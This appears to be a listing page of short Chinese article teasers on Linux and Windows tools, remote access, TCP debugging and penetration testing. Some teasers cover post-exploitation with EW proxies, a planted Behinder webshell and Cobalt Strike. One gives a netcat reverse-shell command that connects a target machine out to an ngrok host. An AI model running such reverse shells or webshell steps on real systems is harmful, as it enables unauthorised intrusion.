界面及简，连接较快，但是传播上慢点。举例说，在腾讯云上直接下载就块点，几百K，用这个显示只有几十K。能用，但是时间长看白色界面很累。
Windows上自带远程桌面和远程协助，linux上基本标配SSH，当我们需要跨平台远程时，可能就需要其他工具了
我们在Linux应急时有时要用到Webshell查杀工具对被攻击站点进行木马扫描和清理；众所周知D哥的D盾在Webshell查杀方面做的还是很强的，但可惜没有Linux版，只能在Windows下使用。
主机在眼前的就不说了，首先说的是如果你租了服务器，机房给你装好系统 你自己还需要一些工具再进Linux
Charles 同时支持 Win/Mac/Linux 三大系统，支持常见的 HTTP 和 HTTPS 抓包、构造请求、替换响应等功能，可以免费试用30天。
windows10 推出了 linux 子系统，也许李纳斯对微软的让步，也许是看到越来越多后端开发程序员转向了 MAC 阵营。 拥有强大的 linux 命令与 linux 系统的大量应用与便捷的处理能力、编程能力对于 windows 来说简直是如虎添翼。 拥有最强大命令行工具的 linux 与最广泛的视窗用户基础的 windows，这两者的结合简直是万众期待。 那么，既然 windows10 提供了如此强大的功能，我们如何才能使用呢？ 默认情况下，win10 自带 linux 系统默认是关闭的，本篇日志我们就来详细讲解如何开启 win10 自带的 linux 子系统，如何解决遇到的一个个问题，以及最终如何把他打造成一个易用、好用的系统工具吧。
点击左下角Win键搜索字母M找到“Microsoft Store”或者在任务栏搜索按钮中搜索“Microsoft Store”，点击进入
NeoKylin-Desktop-personal.iso，V6.0，大小约3.59G
最初这个问题是读者在我的 TCP 掘金小册的《TCP RST 攻击与如何杀掉一条 TCP 连接》小节中的一个留言提出的：「处于 ESTABLISHED 的连接，为什么还要响应 SYN 包？」，这篇文章就来聊聊这一部分的内容。
4.通电1分钟左右系统启动完成进入登录界面，在此过程中，LED灯会亮蓝灯，5秒后熄灭。
大家在macOS上或者Linux上使用SSH远程连接服务器、使用npm启动nodejs服务器进程、使用Java启动j封装了tomcat的Springboot项目，是不是都或多或少用到Terminal呢？那么Windows上有没有用过Powershell呢？
一些刚开始接触C语言编译的网友想下载一款C语言编译器来使用，不过，网络上有不少C语言编译器相关的软件，让人很难抉择。那么，C语言编译器哪个好？今天的文章里，我给大家整理了6款好用的C语言编译器推荐给大家，需要下载C语言编译器的盆友，不妨了解一下！ 📷 一、Dev-C++ 📷 Dev-C++ Dev-C++ 是一个C++ 开发工具。它包括多页面窗口、工程编辑器，在工程编辑器中集合了编辑器、编译器、连接程序和执行程序。它也提供高亮度语法显示的，以减少编辑错误。Dev-C++是一个Windows下的C和C++程序
前面一次网进行了内网渗透，这里做个人小结，也方便其他小伙伴学习EW。这里仅记录后渗透中与EW相关的部分已提前在tomcat中留下冰蝎马。
远程桌面是微软公司为了方便网络管理员管理维护服务器而推出的一项服务。从windows 2000 server版本开始引入，网络管理员使用远程桌面连接程序连接到网络任意一台开启了远程桌面控制功能的计算机上，就好比自己操作该计算机一样，运行程序，维护数据库等。
在Linux TCP通信的调试中，tcpdump应该算是很好的一个工具。这篇文章主要使用Windows作为客户端，向作为服务端的Linux中的一个socket监听端口发送报文信息，然后在Linux中用TCPDUMP工具进行抓包。通过这个实例，可以较为完整的了解TCP通信中的“三次握手”等过程。
Cobalt Strike是一款内网渗透测试神器，常被业界人称为CS。Cobalt Strike 2.0版 本主要是结合Metasploit可以称为图形化MSF工具。而Cobalt Strike 3.0已经不再使 用Metasploit框架而作为一个独立的平台使用，它分为客户端与服务端，服务端是 一个，客户端可以有多个，可被团队进行分布式协团操作。客户端模式和服务端模 式可以在Windows以及Linux上运行这里要注意服务端模式在Windows下运行时有 可能会出现一些细小的问题不过影响不大。可以很好的解决metasploit对Windows 支持不够好的问题。 Cobalt Strike集成了端口转发、服务扫描，自动化溢出，多模式端口监听，win exe 木马生成，win dll木马生成，java木马生成，office宏病毒生成，木马捆绑；钓鱼攻 击包括：站点克隆，目标信息获取，java执行，浏览器自动攻击等等
在Linux后端服务网络通信开发中，可能会遇到CLOSE_WAIT的状况。引起TCP CLOSE_WAIT状态的情况很多，归根结底还是由于被动关闭的一方没有关闭socket链路导致的。这篇文章主要是通过用一个简单的例子通过TCPDUMP和Wireshark这两个工具来模拟产生CLOSE_WAIT的情况，下一篇主要是对这个问题的原理解释。
自从Redis面世以来，作为一个开源的高性能的key-value型数据库，很大程度的对关系型数据库起到很好的补充作用。 Redis实现简单，功能齐全，已经成为了业界最常用的组件之一。为了更方便的使用，衍生出一系列的可视化工具，像是redis desktop manager、medis、fastoredis、redis clent等等等等，各花各草入各眼，每个人都有自己喜欢的风格，但是往往这些工具可能在界面UI方面还是有待提高，有些甚至还要收费。 今天小编就想和大家分享一款帅气、好看同时功能强大的开源Redi
我们是做后台开发的，虽然我们的svr都泡在tlinux上，但是大部分同学写代码/看代码还都是在windows下。
自己开始接触 Linux「Ubuntu」应该是在大学期间， 接触 Unix「Mac OSX」是在工作后的第一份工作，吭哧吭哧的用了好几年的 Linux，强行此文，自己总结了目前经常用到的几个命令，希望给 Linux 用户提供帮助。
由于实验室需要，准备配置新的服务器，之前一直使用windows比较多，linux比较少，于是开始重新学习linux各种环境的搭建．
macOS延续自BSD Unix, Linux则是从内核开始重新编写但延续Unix使用方式的Unix。所以mac还有linux程序员，一般都算是*nix程序员，尽管其中还有不少的区别。 Windows从版本10开始做出的最大改变，可能就是内置的linux子系统，原本的安装方式很简单，网上很多介绍，一般就是三步：1.设置中打开开发人员模式；2.windows组件中安装linux子系统；3.在DOS窗口中执行bash,随后经历一场漫长而令人期待的安装。 后来这个办法不灵了，因为虽然win10几乎马不停蹄的更
利用代理工具将内网的流量代理到本地进行访问，这样就可以对内网进行下一步渗透，同时也可以利用代理工具将其他网段的流量转发到本地进行纵向渗透。代理的本质是Socks协议(防火墙安全会话转换协议)，工作在OSI参考模型的第5层（会话层）。使用TCP协议传输数据，因而不提供如传递ICMP信息之类的网络层相关服务。目前支持SOCKS4和SOCKS5两个版本：
SMB协议大家应该都有所了解，毕竟2017年的MS17-010血洗整个互联网，加上之前的MS08-067 漏洞，这些都是SMB协议上出现过的著名漏洞
在远程终端工具中，XShell 是一款比较有名的远程工具，但收费。功能很强大，可以满足我们使用远程软件的大部分需求，但是，有更多的选择总是好的，今天再介绍一个同样呼声很高的自由(free)软件——Tabby，powershell，eDEX-UI
上一篇复现了CVE-2023-38831，在复现中途使用了netcat，那么今天就来写一下netcat这个工具。
作为小白第一次接触这个东西感觉还挺不错的，至少可以丢掉臃肿的虚拟机了，本身占用内存也很少（几十mb），本地开发更方便
SSH工具是后端程序员日常工作必备的工具之一，一款趁手的工具也能让工作效率事半功倍；
服务器操作系统可以实现对计算机硬件与软件的直接控制和管理协调，任何计算机的运行离不开操作系统，服务器也一样，服务器操作系统主要分为四大流派：Windows Server、Netware、Unix和Linux
以我作为管理员的经验，在网络连接中经常遇到十分难以排查的故障问题。对于这类情况， tcpdump 便能派上用场。
Ngrok Ngrok一个反向代理，通过在公共的端点和本地端口建立一个安全的通道，其功能可以反向代理出web服务还有端口转发，这里我们主要演示端口转发的功能 由于ngrok这个工具官网是要访问外国网站的，所以是能使用国内的Sunny-Ngrok 反弹nc shell 首先我们启动ngrok ./sunny clientid 隧道id 📷 本地监听端口： nc -vv -lp 9991 📷 目标机器： nc -vv server.ngrok.cc 33388 -e cm
很多时候linux安装软件只需要执行一条指令即可,而windows就相对比较麻烦.
上文说到了windows 7 自带的远程桌面连接的使用教程，win 系统自带的远程桌面连接方便缺点也很多，当你的 vps 较多的话会很麻烦。下面介绍一款方便使用的远程连接软件，这个第三方远程连接软件是
经过前期的渗透工作，我们现在已经成功找到了web站点的漏洞，并且获得了一个普通的webshell，现在准备用菜刀去连接它。
因为工作原因对公司上线的web系统进行测试，所以需要经常用到burp、sqlmap、dirb(支持目录递归)等工具，每次打开kali虚拟机这个占用20G磁盘4G内存的重量级工具，就用其中两三款用完再关，磁盘IO要反应老半天，重新打开又要老半天，于是我想到把常用的工具搬到win下来。
在后渗透测试阶段我们主要的目标就是上传工具，权限提升，擦除攻击痕迹，安装持久化后门
作者Liam，海外老码农，对应用密码学、CPU微架构、高速网络通信等领域都有所涉猎。
为虚拟机安装系统在运维工作中会出现，但是不是常态化的工作，我们只需要能够清楚不同的安装场景怎么应对就行了。
tcp的三次握手是指client与server端通过发送http请求,建立tcp连接， 分为三个步骤
在对linux系统应急处理时，常需要查杀系统中是否存在恶意文件，但纯手工检查的话，难免会有遗漏，虽然在linux系统中也有一些专门门的查杀工具，但终究维护的人少，效果也不是非常明显，但如果先使用windows平台下的杀毒软件，去查杀linux文件的话，那效果是会强上一个等级，下面我们就来介绍下如何在windows下查杀linux系统文件的方法，提供一种思路： 1.linux开启nfs，共享 ‘/ ‘ 或 ‘web目录’ #（根据需要）； 2.windows挂载 linux共享 ； 3.开启杀毒软
基于内核的虚拟机 Kernel-based Virtual Machine（KVM）是一种内建于 Linux® 中的开源虚拟化技术。具体而言，KVM 可帮助您将 Linux 转变为虚拟机监控程序，使主机计算机能够运行多个隔离的虚拟环境，即虚拟客户机或虚拟机（VM）。
和普通的 VPS 相比，裸金属服务器属于物理服务器，我的数据和其他用户数据做到了物理隔离，同时服务器本身是支持二次虚拟化的。
人声分离 是一项重要的音频处理技术，它可以将混合音频中的 人声和背景音乐 分离出来，为音频处理和后期制作提供了便利。
GNS3是一款具有图形化界面可以运行在多平台（包括Windows, Linux, and MacOS等）的网络虚拟软件。Cisco网络设备管理员或是想要通过CCNA,CCNP,CCIE等Cisco认证考试的相关人士可以通过它来完成相关的实验模拟操作。同时它也可以用于虚拟体验Cisco网际操作系统IOS或者是检验将要在真实的路由器上部署实施的相关配置。
添加完网卡后打开虚拟机会连接到VMnet2网卡（如果没有就手动连一下）。其中Web-Centos为出网机，需要重新获取IP，然后Ping测试一下各主机连通性
gssapi-abuse是一款针对GSSAPI滥用的安全检测工具，在该工具的帮助下，广大研究人员可以直接在目标活动目录网络环境中检测存在GSSAPI滥用风险的主机。
程序员离不开终端命令行，在工作中用得最多的工具就是「终端连接工具」了，而且企业中 Linux 服务器居多，通过终端连接工具连到服务器，在此之上我们可以排查一些问题，执行代码等操作。
Github Action提供了便捷的流水线能力，但是对于较为复杂的场景，只能依靠不断试错来定位和解决Action报错，效率非常低下。网上也有人提供了基于tmate的远程调试方案，但该方案也存在着一些不足。本文尝试提供一些其它的解决方案。
提出问题：通过ew反向代理后利用proxychains打开了火狐，访问了内网web端口，然后登录处想抓包爆破应该怎么设置这个代理呢？如果ew流量从1080端口走，bp也设置了1080这样会报端口占用了，如何解决呢？
领取专属 10元无门槛券
手把手带您无忧上云
云服务器
ICP备案
对象存储
实时音视频
即时通信 IM
